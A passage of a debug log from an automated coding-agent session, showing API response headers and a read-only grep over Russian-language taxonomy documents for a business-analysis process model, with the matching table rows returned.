https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:56:09.940Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:56:09 GMT\",\n[2026-09-29T07:56:09.942Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:56:09.944Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:56:09.946Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:56:09.947Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:56:09.949Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:56:09.951Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:56:09.952Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:56:09.954Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:56:09.956Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:56:09.958Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:56:09.960Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:56:09.962Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:56:09.964Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:56:09.966Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:56:09.968Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:56:09.970Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:56:09.973Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:56:09.976Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:56:09.979Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:56:09.983Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:56:09.988Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:56:09.990Z] [STDOUT]   \"request-id\": \"req_011CfXNaDxi6e8R5QuxSu55r\",\n[2026-09-29T07:56:09.993Z] [STDOUT]   \"traceresponse\": \"00-543f67cdd9b3622f6045b6a9cc652629-7991bf717bc85941-01\",\n[2026-09-29T07:56:09.995Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:56:09.998Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:56:10.001Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:56:10.004Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:56:10.006Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:56:10.012Z] [STDOUT]   \"cf-ray\": \"a4296dfa4f595d90-FRA\",\n[2026-09-29T07:56:10.021Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:56:10.030Z] [STDOUT] [log_67a778] response parsed {\n[2026-09-29T07:56:10.049Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:56:10.055Z] [STDOUT]   status: 200,\n[2026-09-29T07:56:10.058Z] [STDOUT]   body: X {\n[2026-09-29T07:56:10.066Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:56:10.070Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:56:10.075Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:56:10.077Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:56:10.079Z] [STDOUT]     },\n[2026-09-29T07:56:10.081Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:56:10.088Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:56:10.092Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:56:10.101Z] [STDOUT]   },\n[2026-09-29T07:56:10.107Z] [STDOUT]   durationMs: 1136,\n[2026-09-29T07:56:10.110Z] [STDOUT] }\n[2026-09-29T07:56:10.371Z] [INFO] {\n[2026-09-29T07:56:10.371Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:56:10.371Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:56:10.371Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:56:10.371Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:56:10.371Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:10.371Z] [INFO]   \"uuid\": \"20593ce5-45e8-4df4-b7a2-aacd0b9713e2\"\n[2026-09-29T07:56:10.371Z] [INFO] }\n[2026-09-29T07:56:11.788Z] [INFO] {\n[2026-09-29T07:56:11.788Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:56:11.788Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:56:11.788Z] [INFO]   \"estimated_tokens\": 150,\n[2026-09-29T07:56:11.788Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:56:11.788Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:11.788Z] [INFO]   \"uuid\": \"e063fffc-a14d-48f1-bb5b-e40f5056d1ab\"\n[2026-09-29T07:56:11.788Z] [INFO] }\n[2026-09-29T07:56:12.363Z] [INFO] {\n[2026-09-29T07:56:12.363Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:56:12.363Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:56:12.363Z] [INFO]   \"estimated_tokens\": 321,\n[2026-09-29T07:56:12.363Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:56:12.363Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:12.363Z] [INFO]   \"uuid\": \"83d4071c-af1e-47e5-b285-7f75c17bc607\"\n[2026-09-29T07:56:12.363Z] [INFO] }\n[2026-09-29T07:56:12.370Z] [INFO] {\n[2026-09-29T07:56:12.370Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:56:12.370Z] [INFO]   \"message\": {\n[2026-09-29T07:56:12.370Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:56:12.370Z] [INFO]     \"id\": \"msg_011CfXNaEZC1tvoQusG78fe2\",\n[2026-09-29T07:56:12.370Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:56:12.370Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:56:12.370Z] [INFO]     \"content\": [\n[2026-09-29T07:56:12.370Z] [INFO]       {\n[2026-09-29T07:56:12.370Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:56:12.370Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:56:12.370Z] [INFO]         \"signature\": \"CAQS+QkKEAgSGAI4AUIIdGhpbmtpbmcSDMIPWGYKg2kmI/Q/5BoMDzxp1xm9pJwZ0h5ZIjBaxmMg4Kd3+Qnm+PtjaP2wqgSD2h4vK5qTN+QTnnTXt4czlzam6i1MLU3FN42MU1MqlglwTZyHmaISzciQHy9/GpH7PTIzF8SzO6L8fZ91v6TUqz2K4JSGIQ2CXB5U5YIAvN7ONIvj7LSlHSwZ6wYv3GLz+XhZz/y/CDT56c73dwz81XHMQW4XoaPGJPko+tt/8uPrVJH0oMp11JtyN1Rooq4Z3ne1Uf86u6JVoVy0NqJ4g0YP8tsA2NgH6ARM7DohrqHekajs0RPvR3RAF3Zhsv72Ke5VUyNgv+D89Q6pjbFRmUAbT5Fryr6bdGe2Ng0Mig+PYtCZ7OQFMFs4VPzC/9M3l/Pcq7YtfA2jPUwW1E3WPtrUNls768RqE9Acp3JyDB8FGG5mWc15NpjQjfF0Lk236p9spXZTNGNyWE2da5XY+yzbqByFlIC9oqCth7nh1a+cHYpEpI3xY69914hk0OUVpYTEUwJVdXh3DrHKUzqLIGMn2dVvE9En8AbHZScMTbk0Lxx4mKHFQchqk0ePgDg3XaPz9Bkz1oWJN6L1GzyoyPJ6ICXO2qbm1xV++O/qTvaItVn54zDI0U+9J0dwmGEj0lu4iRyxGH4eFrsuKojZCFZYS6KcunizfwHkmeMouLBdIi0/xB42AwDMaOyLxC7mVAhjxvKMWxIQGDbChBMTAaXnm4DijH2qnecaqSyH6SrADI+nwnDTQpMKYu6Xk+y93KhYRjEJFO2CH50gMwDgNgNs0m78TczI9zbEVXVTGgSkaXJOkJxHsxwoG2j2naE0riFPZR+s7xez5SzKcclPjDScM5ast0wlJo9aQOkcX9NCmFuRISddx0yNa+fghtCcY/DQe5Cwbg3BDaLqi8uojccyfeWQnLehcdHiV+vezvI6Jl/SFjpkuOn1lK0UpDZVdOlpCYgqE/4nvfpAE8MI8B/xZQFKp709yWjCLtqALw1T5alt4kySj8saznUtxqCRI4UUCunD7sI7dgw0WBIh3wue8mcvBdP3RwnmSwJmV6fbI9X/yo7IEoK/aGlpanZeHxr5V+nDkFl/w8AxgXYnTvbsD0MmLACZq3y/+77BuSwoToFtZnSLKT0A1dHKo6BqhtVXepdzDvB743cX53kkVPepODEUpgLcxflKVaJfxax9Zz21yInKJS/KgF+q5un4W7dblGNp26eExmUoeEnXO/qhZczaK38KiT6OknZ1ukY8AjC8IgTog7g2Wq7c+s0rI4QtwUVAxpKnfUwe4z70W3fjRJEQWqjrH9g16U4kmyw2fnCUiQpolt6fet8lEHYGdKj4UC5V0E7yBJjRYRhhvXj+6W6cAjOzzJDPElpP5b6M+3z2M6r+rFvUYN9MKYb+9PSHWPVXv9xu+vR+8X216ZCpQlDz6H2BqX7yp0vrcMKkfk4o22GzJvtf9RI0XaCTFOAOGVPN6PyDJlM41+gBq11abNLmWGzp2guBKjLidz7fQodBQIH8uIWZO4EB4Qwvgc722JaRn665/7aL3H1yr61m4cYbxbBF0oAzFjJATYjrAEKU2tP+yy8Xsfs42SBjQbC/bTrWN8TzuVhXeTgovO9TT0X18qrwEcuL+4ni9E5cxyUasFLJkZakdHORdSbMwkNzA2rzGAE=\"\n[2026-09-29T07:56:12.370Z] [INFO]       }\n[2026-09-29T07:56:12.370Z] [INFO]     ],\n[2026-09-29T07:56:12.370Z] [INFO]     \"container\": null,\n[2026-09-29T07:56:12.370Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:56:12.370Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:56:12.370Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:56:12.370Z] [INFO]     \"usage\": {\n[2026-09-29T07:56:12.370Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:56:12.370Z] [INFO]       \"cache_creation_input_tokens\": 2638,\n[2026-09-29T07:56:12.370Z] [INFO]       \"cache_read_input_tokens\": 58169,\n[2026-09-29T07:56:12.370Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:56:12.370Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:56:12.370Z] [INFO]         \"ephemeral_1h_input_tokens\": 2638\n[2026-09-29T07:56:12.370Z] [INFO]       },\n[2026-09-29T07:56:12.370Z] [INFO]       \"output_tokens\": 2,\n[2026-09-29T07:56:12.370Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:56:12.370Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:56:12.370Z] [INFO]     },\n[2026-09-29T07:56:12.370Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:56:12.370Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:56:12.370Z] [INFO]     \"context_management\": null\n[2026-09-29T07:56:12.370Z] [INFO]   },\n[2026-09-29T07:56:12.370Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:56:12.370Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:12.370Z] [INFO]   \"uuid\": \"9802fe74-de7f-4a7b-aaa5-7c2971a627e9\",\n[2026-09-29T07:56:12.370Z] [INFO]   \"timestamp\": \"2026-09-29T07:56:12.361Z\",\n[2026-09-29T07:56:12.370Z] [INFO]   \"request_id\": \"req_011CfXNaDxi6e8R5QuxSu55r\"\n[2026-09-29T07:56:12.370Z] [INFO] }\n[2026-09-29T07:56:14.267Z] [INFO] {\n[2026-09-29T07:56:14.267Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:56:14.267Z] [INFO]   \"message\": {\n[2026-09-29T07:56:14.267Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:56:14.267Z] [INFO]     \"id\": \"msg_011CfXNaEZC1tvoQusG78fe2\",\n[2026-09-29T07:56:14.267Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:56:14.267Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:56:14.267Z] [INFO]     \"content\": [\n[2026-09-29T07:56:14.267Z] [INFO]       {\n[2026-09-29T07:56:14.267Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:56:14.267Z] [INFO]         \"id\": \"toolu_01Kuk9nu8LwWo8AFxzwvBXXg\",\n[2026-09-29T07:56:14.267Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:56:14.267Z] [INFO]         \"input\": {\n[2026-09-29T07:56:14.267Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/ba-meta-model; grep -rn -i '\u0437\u0430\u043a\u0440\u044b\u0442.*\u0441\u043b\u043e\u0432\u0430\u0440\\\\|\u0441\u043b\u043e\u0432\u0430\u0440.*\u0437\u0430\u043a\u0440\u044b\u0442\\\\|\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a\\\\|closed' *.md skill-taxonomy/*.md operation-taxonomy/*.md 2>/dev/null | head -6; grep -rn '`G5`\\\\s*|\\\\|^| `G5`\\\\|G5 \u2014\\\\|`G5` \u2014' . | head -3\",\n[2026-09-29T07:56:14.267Z] [INFO]           \"description\": \"Check closed vocabularies and G5 definition\"\n[2026-09-29T07:56:14.267Z] [INFO]         },\n[2026-09-29T07:56:14.267Z] [INFO]         \"caller\": {\n[2026-09-29T07:56:14.267Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:56:14.267Z] [INFO]         }\n[2026-09-29T07:56:14.267Z] [INFO]       }\n[2026-09-29T07:56:14.267Z] [INFO]     ],\n[2026-09-29T07:56:14.267Z] [INFO]     \"container\": null,\n[2026-09-29T07:56:14.267Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:56:14.267Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:56:14.267Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:56:14.267Z] [INFO]     \"usage\": {\n[2026-09-29T07:56:14.267Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:56:14.267Z] [INFO]       \"cache_creation_input_tokens\": 2638,\n[2026-09-29T07:56:14.267Z] [INFO]       \"cache_read_input_tokens\": 58169,\n[2026-09-29T07:56:14.267Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:56:14.267Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:56:14.267Z] [INFO]         \"ephemeral_1h_input_tokens\": 2638\n[2026-09-29T07:56:14.267Z] [INFO]       },\n[2026-09-29T07:56:14.267Z] [INFO]       \"output_tokens\": 2,\n[2026-09-29T07:56:14.267Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:56:14.267Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:56:14.267Z] [INFO]     },\n[2026-09-29T07:56:14.267Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:56:14.267Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:56:14.267Z] [INFO]     \"context_management\": null\n[2026-09-29T07:56:14.267Z] [INFO]   },\n[2026-09-29T07:56:14.267Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:56:14.267Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:14.267Z] [INFO]   \"uuid\": \"02aee317-cb0a-43a0-bda1-8c4dcb01603a\",\n[2026-09-29T07:56:14.267Z] [INFO]   \"timestamp\": \"2026-09-29T07:56:14.261Z\",\n[2026-09-29T07:56:14.267Z] [INFO]   \"request_id\": \"req_011CfXNaDxi6e8R5QuxSu55r\",\n[2026-09-29T07:56:14.267Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:56:14.267Z] [INFO]     \"toolu_01Kuk9nu8LwWo8AFxzwvBXXg\": {\n[2026-09-29T07:56:14.267Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/ba-meta-model; grep -rn -i '\u0437\u0430\u043a\u0440\u044b\u0442.*\u0441\u043b\u043e\u0432\u0430\u0440\\\\|\u0441\u043b\u043e\u0432\u0430\u0440.*\u0437\u0430\u043a\u0440\u044b\u0442\\\\|\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a\\\\|closed' *.md skill-taxonomy/*.md operation-taxonomy/*.md 2>/dev/null | head -6; grep -rn '`G5`\\\\s*|\\\\|^| `G5`\\\\|G5 \u2014\\\\|`G5` \u2014' . | head -3\",\n[2026-09-29T07:56:14.267Z] [INFO]       \"description\": \"Check closed vocabularies and G5 definition\"\n[2026-09-29T07:56:14.267Z] [INFO]     }\n[2026-09-29T07:56:14.267Z] [INFO]   }\n[2026-09-29T07:56:14.267Z] [INFO] }\n[2026-09-29T07:56:15.894Z] [INFO] {\n[2026-09-29T07:56:15.894Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:56:15.894Z] [INFO]   \"message\": {\n[2026-09-29T07:56:15.894Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:56:15.894Z] [INFO]     \"content\": [\n[2026-09-29T07:56:15.894Z] [INFO]       {\n[2026-09-29T07:56:15.894Z] [INFO]         \"tool_use_id\": \"toolu_01Kuk9nu8LwWo8AFxzwvBXXg\",\n[2026-09-29T07:56:15.894Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:56:15.894Z] [INFO]         \"content\": \"10-theory.md:46:| `Operation` | \u041a\u0430\u043a\u043e\u0439 **\u0442\u0438\u043f** \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f? | \u0438\u043c\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438\u0437 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f |\\n10-theory.md:48:| `Process` | \u041a\u0430\u043a\u043e\u0439 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0432\u044b\u0445\u043e\u0434 \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442\u0441\u044f \u0438 \u043a\u0430\u043a\u0438\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f? | \u0438\u043c\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438\u0437 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f |\\n10-theory.md:114:| `SB-2` | \u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d \u043d\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f; \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0431\u0435\u0437 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d. |\\n20-taxonomy.md:31:| `T-1` | \u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0437\u0430\u043a\u0440\u044b\u0442\u0430: \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u2014 \u043e\u0442\u043a\u0430\u0437 \u043d\u0430 \u0432\u0445\u043e\u0434\u0435, \u0430 \u043d\u0435 \u043c\u043e\u043b\u0447\u0430\u043b\u0438\u0432\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435. |\\n20-taxonomy.md:137:\u043f\u043e\u043b\u044f `process` \u0438\u0437 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f (`EP-R1`,\\n20-taxonomy.md:244:| `GT-2` | \u0413\u0435\u0439\u0442 `fail-closed`: \u043d\u0435\u043f\u0440\u043e\u0439\u0434\u0435\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442, \u0430 \u043d\u0435 \u043f\u043e\u043c\u0435\u0447\u0430\u0435\u0442 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c. |\\n./operation-taxonomy/20-taxonomy.md:134:| `OP-ASM-05` | `select-option` | \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0435 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0438 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 | \u043e\u0434\u0438\u043d \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0441 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0438 \u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u043c\u0438 | \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043f\u0443\u0441\u0442\u043e | `G5` |\\n./operation-taxonomy/20-taxonomy.md:148:| `assess` | 5 | `G1`\u2013`G5` | \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u0430, \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0438 \u0432\u044b\u0431\u043e\u0440\u0430 |\\n./process-taxonomy/10-theory.md:205:| `AE-2` | \u041d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 (\u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u0441 \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u043e\u043c, \u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0432 `approved`, \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u0432\u043e\u0432\u043d\u0435) \u0443\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u044f\u0440\u0443\u0441\u043e\u043c \u043d\u0435 \u043d\u0438\u0436\u0435 `G5` \u2014 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c \u0433\u0435\u0439\u0442\u043e\u043c. |\",\n[2026-09-29T07:56:15.894Z] [INFO]         \"is_error\": false\n[2026-09-29T07:56:15.894Z] [INFO]       }\n[2026-09-29T07:56:15.894Z] [INFO]     ]\n[2026-09-29T07:56:15.894Z] [INFO]   },\n[2026-09-29T07:56:15.894Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:56:15.894Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:15.894Z] [INFO]   \"uuid\": \"87f83622-3cd0-4fe2-9236-fa3897ce57cb\",\n[2026-09-29T07:56:15.894Z] [INFO]   \"timestamp\": \"2026-09-29T07:56:15.889Z\",\n[2026-09-29T07:56:15.894Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:56:15.894Z] [INFO]     \"stdout\": \"10-theory.md:46:| `Operation` | \u041a\u0430\u043a\u043e\u0439 **\u0442\u0438\u043f** \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f? | \u0438\u043c\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438\u0437 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f |\\n10-theory.md:48:| `Process` | \u041a\u0430\u043a\u043e\u0439 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0432\u044b\u0445\u043e\u0434 \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442\u0441\u044f \u0438 \u043a\u0430\u043a\u0438\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f? | \u0438\u043c\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438\u0437 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f |\\n10-theory.md:114:| `SB-2` | \u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d \u043d\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f; \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0431\u0435\u0437 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d. |\\n20-taxonomy.md:31:| `T-1` | \u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0437\u0430\u043a\u0440\u044b\u0442\u0430: \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u2014 \u043e\u0442\u043a\u0430\u0437 \u043d\u0430 \u0432\u0445\u043e\u0434\u0435, \u0430 \u043d\u0435 \u043c\u043e\u043b\u0447\u0430\u043b\u0438\u0432\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435. |\\n20-taxonomy.md:137:\u043f\u043e\u043b\u044f `process` \u0438\u0437 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f (`EP-R1`,\\n20-taxonomy.md:244:| `GT-2` | \u0413\u0435\u0439\u0442 `fail-closed`: \u043d\u0435\u043f\u0440\u043e\u0439\u0434\u0435\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442, \u0430 \u043d\u0435 \u043f\u043e\u043c\u0435\u0447\u0430\u0435\u0442 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c. |\\n./operation-taxonomy/20-taxonomy.md:134:| `OP-ASM-05` | `select-option` | \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0435 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0438 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 | \u043e\u0434\u0438\u043d \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0441 